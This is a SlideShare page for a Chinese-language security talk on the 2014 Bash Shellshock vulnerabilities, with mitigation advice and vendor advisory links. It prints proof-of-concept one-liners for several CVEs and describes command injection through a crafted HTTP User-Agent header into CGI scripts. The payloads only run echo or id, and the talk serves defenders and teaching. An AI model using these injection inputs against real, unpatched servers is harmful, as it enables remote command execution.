SlideShare a Scribd company logo
BASH 漏洞深入探討 
timhsu@chroot.org 
thsu@varmour.com
BASH 威脅潛伏
CVE-2014-6271 
! Stéphane Chazelas 在 9 月 12 日發現一個從 
1992 年就存在的漏洞! 
! env x='() { :;}; echo vulnerable’ bash 
-c ”echo test" ! 
! Bash 的函式格式: () {}; 
! Example: fun() { echo test; } ;
Linux 指令: 用來顯示環境變數或是用來定義環境變數 
env x='() { :;}; echo vulnerable' bash -c ”echo test" 
函數外面的區域理論上不應該執行 
執行 bash ,環境變數繼承的 
關係,因此觸發此漏洞
Bash 程式原始碼
程式開發的問題 
! 程式久遠不可考 – 缺少 ChangeLog 
! 究竟是被埋入 backdoor 還是失誤的 bug ? 
! 程式寫法太老且危險 – strcpy 
! 依賴環境變數是 Unix 的宿命 
! 還有多少 20 年的 backdoor bug ?
CVE-2014-6277 
$ env X='() { x() { _; }; x() { _; } <<a; }' bash -c 'echo' 
Segmentation fault (core dumped) 
$ env X="() { x() { _; }; x() { _; } <<`perl -e '{print 
"A"x1000}'`; }" bash -c : 
Segmentation fault (core dumped)
CVE-2014-6278 
$ env X='() { _; } >_[$($())] { echo hi mom; id; }' bash -c 'echo 
test' 
hi mom 
uid=1000(timhsu) gid=1000(timhsu) groups=1000(timhsu), 
4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin), 
124(sambashare) 
test
CVE-2014-7169 
! env X='() { (a)=>' sh -c "echo date"; cat echo 
$ > 
echo date 
! Example 
sprintf(msg,"echo 'No such user: %sn'", getenv("USER")); 
system(msg);
CVE-2014-7186 
$ bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF 
<<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF 
<<EOF <<EOF' || echo "CVE-2014-7186 vulnerable, 
redir_stack" 
Segmentation fault (core dumped) 
CVE-2014-7186 vulnerable, redir_stack
CVE-2014-7187 
! only works when Bash is built with –fsanitize 
(for x in {1..200} ; do echo "for x$x in ; do :"; done; for x in 
{1..200} ; do echo done ; done) | bash || 
echo "CVE-2014-7187 vulnerable, word_lineno”
如何利用環境變數遠端攻擊 
CVE-2014-6271
HTTPD 
MOD_REWRITE 
將 HTTP 
Request 的 
User-Agent 轉 
成環境變數 
環境變數 
HTTP_USER_AGENT= 
() { :; }; echo Works 
程式中使用了 
system(),因 
system() 會透 
過 /bin/sh –c 
執行命令 
User-Agent: () { :; }; echo Works 
透過網路傳送 HTTP 
Request,其中包含 
User-Agent 欄位及 
內容 
C 
/bin/sh 
若是 /bin/sh 為符號 
連結成 /bin/bash,則 
執行 echo Works 
system() 會繼承環境變數 
HTTP_USER_AGENT= 
() { :; }; echo Works 
MOD_CGI
HTTPD 
MOD_CGI 
BASH 
SCRIPT 
將 HTTP 
Request 的 
User-Agent 轉 
環境變數 成環境變數 
HTTP_USER_AGENT= 
() { :; }; echo Works 
SCRIPT 執行 
前先執行了 
echo Works 
User-Agent: () { :; }; echo Works 
透過網路傳送 HTTP 
Request,其中包含 
User-Agent 欄位及 
內容 
MOD_REWRITE
CGI 測試結果 
Bash 
v4.1.2 
C 
PHP 
v5.3.3 
PERL 
V5.10.1 
PYTHON 
v2.6.6 
RUBY 
v1.8.7 
mod_cgi 
V 
V 
V 
O 
V 
O 
mod_fastcgi 
V 
mod_fcgid X 
X 
X 
X 
mod_php 
X 
mod_perl X 
mod_python X 
mod_ruby 
X 
V: 可直接利用或透過 system()/popen() 利用 
O: 在未最佳化執行的 system()/popen() 情況下可利用 
X: 不可被利用
Default shell (/bin/sh) 
OS /bin/sh 
RHEL 
bash 
CentOS 
bash 
Fedora 
bash 
MacOSX 
bash 
Ubuntu 
dash 
Android 
sh 
FreeBSD 
tcsh
DHCPClient
DHCPClient 分析 
! 從 Internet Systems Consortium DHCP Distribution Version 4.2.4 
的原始碼來看,的確是 dhclient.c 會從 DHCP 封包中將參數值透 
過內建的 client_envadd() 轉換成環境變數,再經由 execve() 執⾏行 
了 dhclient-script (bash script),所以當然也就中獎了 
! 下列兩道指令可⽤用來檢測系統上的 dhclient 是否會被此漏洞影響 
$ /sbin/dhclient - 2>&1 | grep "ISC" 
This version of ISC DHCP is based on the release available 
$ which dhclient-script 
/sbin/dhclient-script
廠商的設備更新通報 
Vendor 
Advisory 
Oracle 
http://www.oracle.com/technetwork/topics/security/ 
bashcve-2014-7169-2317675.html 
Symantec 
http://www.symantec.com/business/support/index? 
page=content&id=TECH225009&actp=search&viewlocale 
=en_US&searchid=1411825216275 
TrendMicro 
http://esupport.trendmicro.com/solution/en-US/ 
1105233.aspx 
QNAP 
http://www.qnap.com/i/en/news/con_show.php? 
op=showone&cid=336 
IBM 
http://www-01.ibm.com/support/docview.wss? 
uid=swg21685541
Vendor 
Advisory 
BlueCoat 
https://kb.bluecoat.com/index? 
page=content&id=SA82&actp=RSS 
CheckPoint 
https://supportcenter.checkpoint.com/supportcenter/portal? 
eventSubmit_doGoviewsolutiondetails=&solutionid=sk102673 
&src=securityAlerts 
Cisco 
http://tools.cisco.com/security/center/content/ 
CiscoSecurityAdvisory/cisco-sa-20140926-bash 
Citrix 
http://support.citrix.com/article/CTX200217 
F5 
http://support.f5.com/kb/en-us/solutions/public/15000/600/ 
sol15629.html 
Splunk 
http://www.splunk.com/view/SP-CAAANJN 
Juniper 
http://kb.juniper.net/InfoCenter/index? 
page=content&id=JSA10648 
McAfee 
https://kc.mcafee.com/corporate/index? 
page=content&id=SB10085&actp=null&viewlocale=en_US&s 
howDraft=false&platinum_status=false&locale=en_US
結論 
! 趕快升級 bash 
! 使用網路設備阻擋,例如 IPS、WAF 
! 盡快評估停止使用 mod_cgi 或 mod_fastcgi 
! Linux 伺服器請務必作安全強化,例如啟用 SELinux、 
AppArmor 等 
! 檢視企業所使用的網路設備是否在更新清單內

More Related Content

What's hot

Hello world 的一生
Hello world 的一生Hello world 的一生
Hello world 的一生
Wen Liao
 
系統程式 -- 第 12 章
系統程式 -- 第 12 章系統程式 -- 第 12 章
系統程式 -- 第 12 章
鍾誠 陳鍾誠
 
Erlang Practice
Erlang PracticeErlang Practice
Erlang Practicelitaocheng
 
shell script introduction
shell script introductionshell script introduction
shell script introduction
Jie Jin
 
揭秘家用路由器Ch10 sharing
揭秘家用路由器Ch10 sharing揭秘家用路由器Ch10 sharing
揭秘家用路由器Ch10 sharing
Yi-Jun Zheng
 
系統程式 -- 第 9 章
系統程式 -- 第 9 章系統程式 -- 第 9 章
系統程式 -- 第 9 章
鍾誠 陳鍾誠
 
軟體工程(總結篇)
軟體工程(總結篇)軟體工程(總結篇)
軟體工程(總結篇)
鍾誠 陳鍾誠
 
Mac os Terminal 常用指令與小技巧
Mac os Terminal 常用指令與小技巧Mac os Terminal 常用指令與小技巧
Mac os Terminal 常用指令與小技巧
Chen Liwei
 
深入剖析Concurrent hashmap中的同步机制(上)
深入剖析Concurrent hashmap中的同步机制(上)深入剖析Concurrent hashmap中的同步机制(上)
深入剖析Concurrent hashmap中的同步机制(上)wang hongjiang
 
Golang server design pattern
Golang server design patternGolang server design pattern
Golang server design pattern
理 傅
 
180518 ntut js and node
180518 ntut js and node180518 ntut js and node
180518 ntut js and node
Peter Yi
 
Nae client(using Node.js to create shell cmd)
Nae client(using Node.js to create shell cmd)Nae client(using Node.js to create shell cmd)
Nae client(using Node.js to create shell cmd)
fisher zheng
 
Puppet安装测试
Puppet安装测试Puppet安装测试
Puppet安装测试Yiwei Ma
 
中纺科技安装实施文档
中纺科技安装实施文档中纺科技安装实施文档
中纺科技安装实施文档liangsuilong
 
Perl在nginx里的应用
Perl在nginx里的应用Perl在nginx里的应用
Perl在nginx里的应用
琛琳 饶
 
Php Extension--yahoo(Cc0cc)
Php Extension--yahoo(Cc0cc)Php Extension--yahoo(Cc0cc)
Php Extension--yahoo(Cc0cc)
sunlick
 
智能Dns工作流程及配置
智能Dns工作流程及配置智能Dns工作流程及配置
智能Dns工作流程及配置Yiwei Ma
 

What's hot (20)

Hello world 的一生
Hello world 的一生Hello world 的一生
Hello world 的一生
 
Zsh
ZshZsh
Zsh
 
MySQL aio
MySQL aioMySQL aio
MySQL aio
 
系統程式 -- 第 12 章
系統程式 -- 第 12 章系統程式 -- 第 12 章
系統程式 -- 第 12 章
 
Erlang Practice
Erlang PracticeErlang Practice
Erlang Practice
 
shell script introduction
shell script introductionshell script introduction
shell script introduction
 
揭秘家用路由器Ch10 sharing
揭秘家用路由器Ch10 sharing揭秘家用路由器Ch10 sharing
揭秘家用路由器Ch10 sharing
 
系統程式 -- 第 9 章
系統程式 -- 第 9 章系統程式 -- 第 9 章
系統程式 -- 第 9 章
 
軟體工程(總結篇)
軟體工程(總結篇)軟體工程(總結篇)
軟體工程(總結篇)
 
Mac os Terminal 常用指令與小技巧
Mac os Terminal 常用指令與小技巧Mac os Terminal 常用指令與小技巧
Mac os Terminal 常用指令與小技巧
 
深入剖析Concurrent hashmap中的同步机制(上)
深入剖析Concurrent hashmap中的同步机制(上)深入剖析Concurrent hashmap中的同步机制(上)
深入剖析Concurrent hashmap中的同步机制(上)
 
Golang server design pattern
Golang server design patternGolang server design pattern
Golang server design pattern
 
180518 ntut js and node
180518 ntut js and node180518 ntut js and node
180518 ntut js and node
 
Nae client(using Node.js to create shell cmd)
Nae client(using Node.js to create shell cmd)Nae client(using Node.js to create shell cmd)
Nae client(using Node.js to create shell cmd)
 
Puppet安装测试
Puppet安装测试Puppet安装测试
Puppet安装测试
 
中纺科技安装实施文档
中纺科技安装实施文档中纺科技安装实施文档
中纺科技安装实施文档
 
Perl在nginx里的应用
Perl在nginx里的应用Perl在nginx里的应用
Perl在nginx里的应用
 
Php Extension--yahoo(Cc0cc)
Php Extension--yahoo(Cc0cc)Php Extension--yahoo(Cc0cc)
Php Extension--yahoo(Cc0cc)
 
Node way
Node wayNode way
Node way
 
智能Dns工作流程及配置
智能Dns工作流程及配置智能Dns工作流程及配置
智能Dns工作流程及配置
 

Viewers also liked

Harden Your Linux
Harden Your LinuxHarden Your Linux
Harden Your Linux
Tim Hsu
 
如何利用 Docker 強化網站安全
如何利用 Docker 強化網站安全如何利用 Docker 強化網站安全
如何利用 Docker 強化網站安全
Tim Hsu
 
資安人員如何協助企業面對層出不窮的資安威脅
資安人員如何協助企業面對層出不窮的資安威脅 資安人員如何協助企業面對層出不窮的資安威脅
資安人員如何協助企業面對層出不窮的資安威脅
Tim Hsu
 
台科大網路鑑識課程 封包分析及中繼站追蹤
台科大網路鑑識課程 封包分析及中繼站追蹤台科大網路鑑識課程 封包分析及中繼站追蹤
台科大網路鑑識課程 封包分析及中繼站追蹤
jack51706
 
窺探職場上所需之資安專業技術與能力 Tdohconf
窺探職場上所需之資安專業技術與能力 Tdohconf窺探職場上所需之資安專業技術與能力 Tdohconf
窺探職場上所需之資安專業技術與能力 Tdohconf
jack51706
 
如何用 Docker 快速建立 honeypot public
如何用 Docker 快速建立 honeypot public如何用 Docker 快速建立 honeypot public
如何用 Docker 快速建立 honeypot public
Tim Hsu
 
DARPA CGC and DEFCON CTF: Automatic Attack and Defense Technique
DARPA CGC and DEFCON CTF: Automatic Attack and Defense TechniqueDARPA CGC and DEFCON CTF: Automatic Attack and Defense Technique
DARPA CGC and DEFCON CTF: Automatic Attack and Defense Technique
Chong-Kuan Chen
 
Python 網頁爬蟲由淺入淺
Python 網頁爬蟲由淺入淺Python 網頁爬蟲由淺入淺
Python 網頁爬蟲由淺入淺
hackstuff
 
勒索軟體態勢與應措
勒索軟體態勢與應措勒索軟體態勢與應措
勒索軟體態勢與應措
jack51706
 
Hackpad教學
Hackpad教學Hackpad教學
Hackpad教學
儀萍 陳
 
Webinar: Does Object Storage Make Sense for Backups?
Webinar: Does Object Storage Make Sense for Backups?Webinar: Does Object Storage Make Sense for Backups?
Webinar: Does Object Storage Make Sense for Backups?
Storage Switzerland
 
20160419 網路星期二:天啊,我的資料被誰加密了?
20160419 網路星期二:天啊,我的資料被誰加密了?20160419 網路星期二:天啊,我的資料被誰加密了?
20160419 網路星期二:天啊,我的資料被誰加密了?
Net Tuesday Taiwan
 
Practical Attacks Against Encrypted VoIP Communications
Practical Attacks Against Encrypted VoIP CommunicationsPractical Attacks Against Encrypted VoIP Communications
Practical Attacks Against Encrypted VoIP Communications
iphonepentest
 
Shadow IT
Shadow ITShadow IT
Crawler
CrawlerCrawler
Crawler
hackstuff
 
AppSec is Eating Security
AppSec is Eating SecurityAppSec is Eating Security
AppSec is Eating Security
Alex Stamos
 
Got Your PW - 一場入門資安的微旅行
Got Your PW - 一場入門資安的微旅行Got Your PW - 一場入門資安的微旅行
Got Your PW - 一場入門資安的微旅行
Allen Chou
 
Webshell 簡單應用
Webshell 簡單應用Webshell 簡單應用
Webshell 簡單應用hackstuff
 
台科逆向簡報
台科逆向簡報台科逆向簡報
台科逆向簡報
耀德 蔡
 
20150714 網路星期二:如何成為一個有責信的NPO- 從捐款人信任談起
20150714 網路星期二:如何成為一個有責信的NPO- 從捐款人信任談起20150714 網路星期二:如何成為一個有責信的NPO- 從捐款人信任談起
20150714 網路星期二:如何成為一個有責信的NPO- 從捐款人信任談起
Net Tuesday Taiwan
 

Viewers also liked (20)

Harden Your Linux
Harden Your LinuxHarden Your Linux
Harden Your Linux
 
如何利用 Docker 強化網站安全
如何利用 Docker 強化網站安全如何利用 Docker 強化網站安全
如何利用 Docker 強化網站安全
 
資安人員如何協助企業面對層出不窮的資安威脅
資安人員如何協助企業面對層出不窮的資安威脅 資安人員如何協助企業面對層出不窮的資安威脅
資安人員如何協助企業面對層出不窮的資安威脅
 
台科大網路鑑識課程 封包分析及中繼站追蹤
台科大網路鑑識課程 封包分析及中繼站追蹤台科大網路鑑識課程 封包分析及中繼站追蹤
台科大網路鑑識課程 封包分析及中繼站追蹤
 
窺探職場上所需之資安專業技術與能力 Tdohconf
窺探職場上所需之資安專業技術與能力 Tdohconf窺探職場上所需之資安專業技術與能力 Tdohconf
窺探職場上所需之資安專業技術與能力 Tdohconf
 
如何用 Docker 快速建立 honeypot public
如何用 Docker 快速建立 honeypot public如何用 Docker 快速建立 honeypot public
如何用 Docker 快速建立 honeypot public
 
DARPA CGC and DEFCON CTF: Automatic Attack and Defense Technique
DARPA CGC and DEFCON CTF: Automatic Attack and Defense TechniqueDARPA CGC and DEFCON CTF: Automatic Attack and Defense Technique
DARPA CGC and DEFCON CTF: Automatic Attack and Defense Technique
 
Python 網頁爬蟲由淺入淺
Python 網頁爬蟲由淺入淺Python 網頁爬蟲由淺入淺
Python 網頁爬蟲由淺入淺
 
勒索軟體態勢與應措
勒索軟體態勢與應措勒索軟體態勢與應措
勒索軟體態勢與應措
 
Hackpad教學
Hackpad教學Hackpad教學
Hackpad教學
 
Webinar: Does Object Storage Make Sense for Backups?
Webinar: Does Object Storage Make Sense for Backups?Webinar: Does Object Storage Make Sense for Backups?
Webinar: Does Object Storage Make Sense for Backups?
 
20160419 網路星期二:天啊,我的資料被誰加密了?
20160419 網路星期二:天啊,我的資料被誰加密了?20160419 網路星期二:天啊,我的資料被誰加密了?
20160419 網路星期二:天啊,我的資料被誰加密了?
 
Practical Attacks Against Encrypted VoIP Communications
Practical Attacks Against Encrypted VoIP CommunicationsPractical Attacks Against Encrypted VoIP Communications
Practical Attacks Against Encrypted VoIP Communications
 
Shadow IT
Shadow ITShadow IT
Shadow IT
 
Crawler
CrawlerCrawler
Crawler
 
AppSec is Eating Security
AppSec is Eating SecurityAppSec is Eating Security
AppSec is Eating Security
 
Got Your PW - 一場入門資安的微旅行
Got Your PW - 一場入門資安的微旅行Got Your PW - 一場入門資安的微旅行
Got Your PW - 一場入門資安的微旅行
 
Webshell 簡單應用
Webshell 簡單應用Webshell 簡單應用
Webshell 簡單應用
 
台科逆向簡報
台科逆向簡報台科逆向簡報
台科逆向簡報
 
20150714 網路星期二:如何成為一個有責信的NPO- 從捐款人信任談起
20150714 網路星期二:如何成為一個有責信的NPO- 從捐款人信任談起20150714 網路星期二:如何成為一個有責信的NPO- 從捐款人信任談起
20150714 網路星期二:如何成為一個有責信的NPO- 從捐款人信任談起
 

Similar to BASH 漏洞深入探討

香港六合彩
香港六合彩香港六合彩
香港六合彩
weige
 
六合彩,香港六合彩
六合彩,香港六合彩六合彩,香港六合彩
六合彩,香港六合彩
mftldtw
 
六合彩
六合彩六合彩
六合彩
cbswxo
 
[Modern Web 2016] 讓你的 PHP 開發流程再次潮起來
[Modern Web 2016] 讓你的 PHP 開發流程再次潮起來[Modern Web 2016] 讓你的 PHP 開發流程再次潮起來
[Modern Web 2016] 讓你的 PHP 開發流程再次潮起來
Shengyou Fan
 
程式人雜誌 2015年五月
程式人雜誌 2015年五月程式人雜誌 2015年五月
程式人雜誌 2015年五月
鍾誠 陳鍾誠
 
程式人雜誌 -- 2015 年5月號
程式人雜誌 -- 2015 年5月號程式人雜誌 -- 2015 年5月號
程式人雜誌 -- 2015 年5月號
鍾誠 陳鍾誠
 
Hadoop平台搭建
Hadoop平台搭建Hadoop平台搭建
Hadoop平台搭建Liyang Tang
 
Sery lvs+keepalived
Sery lvs+keepalivedSery lvs+keepalived
Sery lvs+keepalivedcolderboy17
 
X64服务器 lamp服务器部署标准 new
X64服务器 lamp服务器部署标准 newX64服务器 lamp服务器部署标准 new
X64服务器 lamp服务器部署标准 newYiwei Ma
 
Hadoop 設定與配置
Hadoop 設定與配置Hadoop 設定與配置
Hadoop 設定與配置
鳥 藍
 
Ruby on Rails 開發環境建置 for Mac
Ruby on Rails 開發環境建置 for MacRuby on Rails 開發環境建置 for Mac
Ruby on Rails 開發環境建置 for Mac
MarsZ Chen
 
Cfengine培训文档 刘天斯
Cfengine培训文档 刘天斯Cfengine培训文档 刘天斯
Cfengine培训文档 刘天斯
liuts
 
OpenWebSchool - 02 - PHP Part I
OpenWebSchool - 02 - PHP Part IOpenWebSchool - 02 - PHP Part I
OpenWebSchool - 02 - PHP Part IHung-yu Lin
 
PHP & MySQL 教學
PHP & MySQL 教學PHP & MySQL 教學
PHP & MySQL 教學
Bo-Yi Wu
 
Centos下安装apache + subversion
Centos下安装apache + subversionCentos下安装apache + subversion
Centos下安装apache + subversionYiwei Ma
 
从无阻塞并行脚本加载(Lab.js)到浏览器消息模型
从无阻塞并行脚本加载(Lab.js)到浏览器消息模型从无阻塞并行脚本加载(Lab.js)到浏览器消息模型
从无阻塞并行脚本加载(Lab.js)到浏览器消息模型Jackson Tian
 
新北市教師工作坊 -- Bash script programming 介紹
新北市教師工作坊 -- Bash script programming 介紹新北市教師工作坊 -- Bash script programming 介紹
新北市教師工作坊 -- Bash script programming 介紹
fweng322
 
康盛创想项目部Linux 服务器部署标准(最新版)
康盛创想项目部Linux 服务器部署标准(最新版)康盛创想项目部Linux 服务器部署标准(最新版)
康盛创想项目部Linux 服务器部署标准(最新版)Yiwei Ma
 

Similar to BASH 漏洞深入探討 (20)

OSGi Small Lab
OSGi Small LabOSGi Small Lab
OSGi Small Lab
 
miywh
miywhmiywh
miywh
 
香港六合彩
香港六合彩香港六合彩
香港六合彩
 
六合彩,香港六合彩
六合彩,香港六合彩六合彩,香港六合彩
六合彩,香港六合彩
 
六合彩
六合彩六合彩
六合彩
 
[Modern Web 2016] 讓你的 PHP 開發流程再次潮起來
[Modern Web 2016] 讓你的 PHP 開發流程再次潮起來[Modern Web 2016] 讓你的 PHP 開發流程再次潮起來
[Modern Web 2016] 讓你的 PHP 開發流程再次潮起來
 
程式人雜誌 2015年五月
程式人雜誌 2015年五月程式人雜誌 2015年五月
程式人雜誌 2015年五月
 
程式人雜誌 -- 2015 年5月號
程式人雜誌 -- 2015 年5月號程式人雜誌 -- 2015 年5月號
程式人雜誌 -- 2015 年5月號
 
Hadoop平台搭建
Hadoop平台搭建Hadoop平台搭建
Hadoop平台搭建
 
Sery lvs+keepalived
Sery lvs+keepalivedSery lvs+keepalived
Sery lvs+keepalived
 
X64服务器 lamp服务器部署标准 new
X64服务器 lamp服务器部署标准 newX64服务器 lamp服务器部署标准 new
X64服务器 lamp服务器部署标准 new
 
Hadoop 設定與配置
Hadoop 設定與配置Hadoop 設定與配置
Hadoop 設定與配置
 
Ruby on Rails 開發環境建置 for Mac
Ruby on Rails 開發環境建置 for MacRuby on Rails 開發環境建置 for Mac
Ruby on Rails 開發環境建置 for Mac
 
Cfengine培训文档 刘天斯
Cfengine培训文档 刘天斯Cfengine培训文档 刘天斯
Cfengine培训文档 刘天斯
 
OpenWebSchool - 02 - PHP Part I
OpenWebSchool - 02 - PHP Part IOpenWebSchool - 02 - PHP Part I
OpenWebSchool - 02 - PHP Part I
 
PHP & MySQL 教學
PHP & MySQL 教學PHP & MySQL 教學
PHP & MySQL 教學
 
Centos下安装apache + subversion
Centos下安装apache + subversionCentos下安装apache + subversion
Centos下安装apache + subversion
 
从无阻塞并行脚本加载(Lab.js)到浏览器消息模型
从无阻塞并行脚本加载(Lab.js)到浏览器消息模型从无阻塞并行脚本加载(Lab.js)到浏览器消息模型
从无阻塞并行脚本加载(Lab.js)到浏览器消息模型
 
新北市教師工作坊 -- Bash script programming 介紹
新北市教師工作坊 -- Bash script programming 介紹新北市教師工作坊 -- Bash script programming 介紹
新北市教師工作坊 -- Bash script programming 介紹
 
康盛创想项目部Linux 服务器部署标准(最新版)
康盛创想项目部Linux 服务器部署标准(最新版)康盛创想项目部Linux 服务器部署标准(最新版)
康盛创想项目部Linux 服务器部署标准(最新版)
 

BASH 漏洞深入探討

  • 3. CVE-2014-6271 ! Stéphane Chazelas 在 9 月 12 日發現一個從 1992 年就存在的漏洞! ! env x='() { :;}; echo vulnerable’ bash -c ”echo test" ! ! Bash 的函式格式: () {}; ! Example: fun() { echo test; } ;
  • 4. Linux 指令: 用來顯示環境變數或是用來定義環境變數 env x='() { :;}; echo vulnerable' bash -c ”echo test" 函數外面的區域理論上不應該執行 執行 bash ,環境變數繼承的 關係,因此觸發此漏洞
  • 6. 程式開發的問題 ! 程式久遠不可考 – 缺少 ChangeLog ! 究竟是被埋入 backdoor 還是失誤的 bug ? ! 程式寫法太老且危險 – strcpy ! 依賴環境變數是 Unix 的宿命 ! 還有多少 20 年的 backdoor bug ?
  • 7. CVE-2014-6277 $ env X='() { x() { _; }; x() { _; } <<a; }' bash -c 'echo' Segmentation fault (core dumped) $ env X="() { x() { _; }; x() { _; } <<`perl -e '{print "A"x1000}'`; }" bash -c : Segmentation fault (core dumped)
  • 8. CVE-2014-6278 $ env X='() { _; } >_[$($())] { echo hi mom; id; }' bash -c 'echo test' hi mom uid=1000(timhsu) gid=1000(timhsu) groups=1000(timhsu), 4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin), 124(sambashare) test
  • 9. CVE-2014-7169 ! env X='() { (a)=>' sh -c "echo date"; cat echo $ > echo date ! Example sprintf(msg,"echo 'No such user: %sn'", getenv("USER")); system(msg);
  • 10. CVE-2014-7186 $ bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' || echo "CVE-2014-7186 vulnerable, redir_stack" Segmentation fault (core dumped) CVE-2014-7186 vulnerable, redir_stack
  • 11. CVE-2014-7187 ! only works when Bash is built with –fsanitize (for x in {1..200} ; do echo "for x$x in ; do :"; done; for x in {1..200} ; do echo done ; done) | bash || echo "CVE-2014-7187 vulnerable, word_lineno”
  • 13. HTTPD MOD_REWRITE 將 HTTP Request 的 User-Agent 轉 成環境變數 環境變數 HTTP_USER_AGENT= () { :; }; echo Works 程式中使用了 system(),因 system() 會透 過 /bin/sh –c 執行命令 User-Agent: () { :; }; echo Works 透過網路傳送 HTTP Request,其中包含 User-Agent 欄位及 內容 C /bin/sh 若是 /bin/sh 為符號 連結成 /bin/bash,則 執行 echo Works system() 會繼承環境變數 HTTP_USER_AGENT= () { :; }; echo Works MOD_CGI
  • 14. HTTPD MOD_CGI BASH SCRIPT 將 HTTP Request 的 User-Agent 轉 環境變數 成環境變數 HTTP_USER_AGENT= () { :; }; echo Works SCRIPT 執行 前先執行了 echo Works User-Agent: () { :; }; echo Works 透過網路傳送 HTTP Request,其中包含 User-Agent 欄位及 內容 MOD_REWRITE
  • 15. CGI 測試結果 Bash v4.1.2 C PHP v5.3.3 PERL V5.10.1 PYTHON v2.6.6 RUBY v1.8.7 mod_cgi V V V O V O mod_fastcgi V mod_fcgid X X X X mod_php X mod_perl X mod_python X mod_ruby X V: 可直接利用或透過 system()/popen() 利用 O: 在未最佳化執行的 system()/popen() 情況下可利用 X: 不可被利用
  • 16. Default shell (/bin/sh) OS /bin/sh RHEL bash CentOS bash Fedora bash MacOSX bash Ubuntu dash Android sh FreeBSD tcsh
  • 18. DHCPClient 分析 ! 從 Internet Systems Consortium DHCP Distribution Version 4.2.4 的原始碼來看,的確是 dhclient.c 會從 DHCP 封包中將參數值透 過內建的 client_envadd() 轉換成環境變數,再經由 execve() 執⾏行 了 dhclient-script (bash script),所以當然也就中獎了 ! 下列兩道指令可⽤用來檢測系統上的 dhclient 是否會被此漏洞影響 $ /sbin/dhclient - 2>&1 | grep "ISC" This version of ISC DHCP is based on the release available $ which dhclient-script /sbin/dhclient-script
  • 19. 廠商的設備更新通報 Vendor Advisory Oracle http://www.oracle.com/technetwork/topics/security/ bashcve-2014-7169-2317675.html Symantec http://www.symantec.com/business/support/index? page=content&id=TECH225009&actp=search&viewlocale =en_US&searchid=1411825216275 TrendMicro http://esupport.trendmicro.com/solution/en-US/ 1105233.aspx QNAP http://www.qnap.com/i/en/news/con_show.php? op=showone&cid=336 IBM http://www-01.ibm.com/support/docview.wss? uid=swg21685541
  • 20. Vendor Advisory BlueCoat https://kb.bluecoat.com/index? page=content&id=SA82&actp=RSS CheckPoint https://supportcenter.checkpoint.com/supportcenter/portal? eventSubmit_doGoviewsolutiondetails=&solutionid=sk102673 &src=securityAlerts Cisco http://tools.cisco.com/security/center/content/ CiscoSecurityAdvisory/cisco-sa-20140926-bash Citrix http://support.citrix.com/article/CTX200217 F5 http://support.f5.com/kb/en-us/solutions/public/15000/600/ sol15629.html Splunk http://www.splunk.com/view/SP-CAAANJN Juniper http://kb.juniper.net/InfoCenter/index? page=content&id=JSA10648 McAfee https://kc.mcafee.com/corporate/index? page=content&id=SB10085&actp=null&viewlocale=en_US&s howDraft=false&platinum_status=false&locale=en_US
  • 21. 結論 ! 趕快升級 bash ! 使用網路設備阻擋,例如 IPS、WAF ! 盡快評估停止使用 mod_cgi 或 mod_fastcgi ! Linux 伺服器請務必作安全強化,例如啟用 SELinux、 AppArmor 等 ! 檢視企業所使用的網路設備是否在更新清單內